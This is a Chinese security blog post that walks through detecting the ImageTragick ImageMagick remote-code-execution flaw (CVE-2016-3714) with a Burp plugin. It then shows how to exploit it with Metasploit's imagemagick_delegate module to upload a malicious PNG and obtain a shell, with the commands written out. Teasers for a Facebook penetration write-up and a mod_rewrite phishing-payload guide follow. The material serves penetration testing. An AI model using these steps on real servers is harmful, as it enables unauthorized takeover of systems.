【漏洞研究】[渗透测试]ImageTragick的快速检测及利用

如何利用burp+metasploit快速检测&利用

ImageTragick(CVE-2016–3714)

From ChaMd5安全团队核心成员 小meet

ImageMagick是用来处理图片的通用组件，涉及PHP,JAVA,Python,Perl和Ruby等流行语言，16年4月被发现存在RCE，攻击者只需上传构造好的图片即可获取服务器权限。（延伸阅读-->ImageMagic执行过程、漏洞分析及修复http://www.freebuf.com/vuls/104048.html）

对这个漏洞的传统检测方式是生成payload通过第三方网站查看DNS解析记录的方式，耗时又不方便，这里介绍一个快速检测利用的方法。

首先需要一个burp插件叫burp-image-size

https://github.com/silentsignal/burp-image-size/releases/download/v0.3/burp-image-size-v0.3-java1.6.jar
安装时注意运行环境。

上传图片时抓包选择send toactive scan，即可调用插件对上传点进行扫描。漏洞存在则飚红显示高危漏洞。如图所示成功检测。

img

接下来利用metasploit getshell

useexploits/unix/fileformat/imagemagick_delegate

show options 查看一下选项

img

我这里选择默认的配置，接下来执行

exploit -j 生成了一个msf.png

img

将图片上传，就可以返回一个会话连接

img

使用sessions -i 1 与会话进行交互

img

参考链接：

http://www.freebuf.com/vuls/104048.html

http://www.mottoin.com/89312.html

https://www.rapid7.com/db/modules/exploit/unix/fileformat/imagemagick_delegate


技术交流QQ群： 397745473
来自:https://xianzhi.aliyun.com/forum/read/721.html?fpage=8

评论

发表评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

图片
原文：http://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/ 寫在故事之前 身為一位滲透測試人員，比起 Client Side 的弱點我更喜歡 Server Side 的攻擊，能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <(￣︶￣)> 當然一次完美的滲透任何形式的弱點都不可小覷，在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器，但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。 隨著 Facebook 在世界上越來越火紅、用戶量越來越多，一直以來都有想要嘗試看看的想法，恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。 一般如由滲透的角度來說習慣性都會從收集資料、偵查開始，首先界定出目標在網路上的 "範圍" 有多大，姑且可以評估一下從何處比較有機會下手。例如: Google Hacking 到什麼資料? 用了幾個 B 段的 IP ? C 段的 IP ? Whois? Reverse Whois? 用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描 公司平常愛用什麼樣技術、設備? 在 Github, Pastebin 上是否有洩漏什麼資訊? …etc 當然 Bug Bounty 並不是讓你無限制的攻擊，將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。 一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討 對多數大公司而言，" 網路邊界 " 是比較難顧及、容易出現問題的一塊，當公司規模越大，同時擁有數千、數萬台機器在線，網管很難顧及到每台機器。在攻防裡，防守要防的是一個面，但攻擊只需找個一個點就可以突破，所以防守方相對處於弱勢，攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了! 對於 " 連網設備 " 的安全意識相對薄弱，由於連網設備通常不會提供 SHELL 給管理員做進一步的操作，只能由設備本身所提供的介...
阅读全文

【技术讨论】使用apache mod_rewrite方法随机提供payloads

图片
本文中讲述的方法更适用于真实渗透测试环境中，因为电子邮件钓鱼往往是威胁到整个公司，而不是只威胁到红队的测试环境。因为电子邮件钓鱼具有高针对性，并且手动设置攻击载荷对攻击来说也是很麻烦的。所以请阅读这篇文章，我会通过设置一个apache重定向器或者直接设置一个服务器，通过RewrieMap从预定义的攻击payload列表中随机选取payload进行提供。 apache中RewriteMap方法允许外部的程序比如脚本，数据库，文本文件等映射到服务器内部。在官方文档中使用最多的例子：如果一家网店的url结构想从item-1234到iphone-7-white，那么网站管理员无需更改任何硬编码的代码，只需当访问item-1234时，apache来提供iphone-7-white这一url。RewriteMap提供了大量修改这些资源的方法。我们会使用RewriteMap从一个文本文档中提取的payload转换为URI，并且当被访问时，进行302跳转，使目标能够访问到我们随机的payload文件。 下图就是攻击的主要内容： 环境配置 apache环境需要更改一些设置以便服务器环境支持mod_rewrite以及RewriteMap方法。这些设置的详细信息都在我之前的 一篇文章 中写过。长话短说，打开位于/etc/apache2/的apache2.conf文件，通过增加以下代码重写htaccess文件： <Directory /var/www/>         Options Indexes FollowSymLinks         AllowOverride None         Require all granted </Directory> 如果你的重定向器的网站根目录不是默认的/var/www,你需要去更改一下AllowOverride的响应目录。 在配置服务器的文档中，我们需要在底部添加： RewriteMap payloads "rnd:/var/www/payloads.txt" 这一行代码就告诉mod_rewrite方法，当我们使用RewriteMap调用payload变量时，就会从/var/www/payloads.txt提取。apache用户必须具有读取这一文件的权限。并且应该储存在w...
阅读全文